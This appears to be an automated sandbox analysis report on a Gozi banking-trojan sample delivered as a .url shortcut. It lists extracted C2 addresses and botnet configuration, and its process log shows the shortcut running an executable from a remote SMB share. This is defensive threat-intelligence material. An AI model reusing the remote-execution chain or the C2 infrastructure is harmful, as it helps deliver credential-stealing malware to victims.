Analysis
- max time kernel
142s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
20/03/2023, 11:42
General
- Target Azienda/Azienda.url
- Size 194B
- Sample230320-nt1s8sfc8x
- SHA256 15224adeae393be5d06378ed32605d677e8c529a395f9bf2ade9b0163d886c49
Score
10/10
Malware Config
Extracted
Family
-
gozi
Botnet
-
7715
C2
-
checklist.skype.com
-
62.173.142.81
-
193.233.175.113
-
109.248.11.184
-
212.109.218.26
-
185.68.93.7
Attributes
-
base_path
/drew/
-
build
250255
-
exe_type
loader
-
extension
.jlk
-
server_id
50
rsa_pubkey.plain
aes.plain
Extracted
Family
-
gozi
Signatures
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Azienda\Azienda.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
\??\UNC\109.248.11.189\Agenzia\server.exe"\\109.248.11.189\Agenzia\server.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1040-134-0x0000000000640000-0x000000000064B000-memory.dmp
memory/1040-135-0x00000000006A0000-0x00000000006AD000-memory.dmp
memory/1040-138-0x0000000000400000-0x00000000004AD000-memory.dmp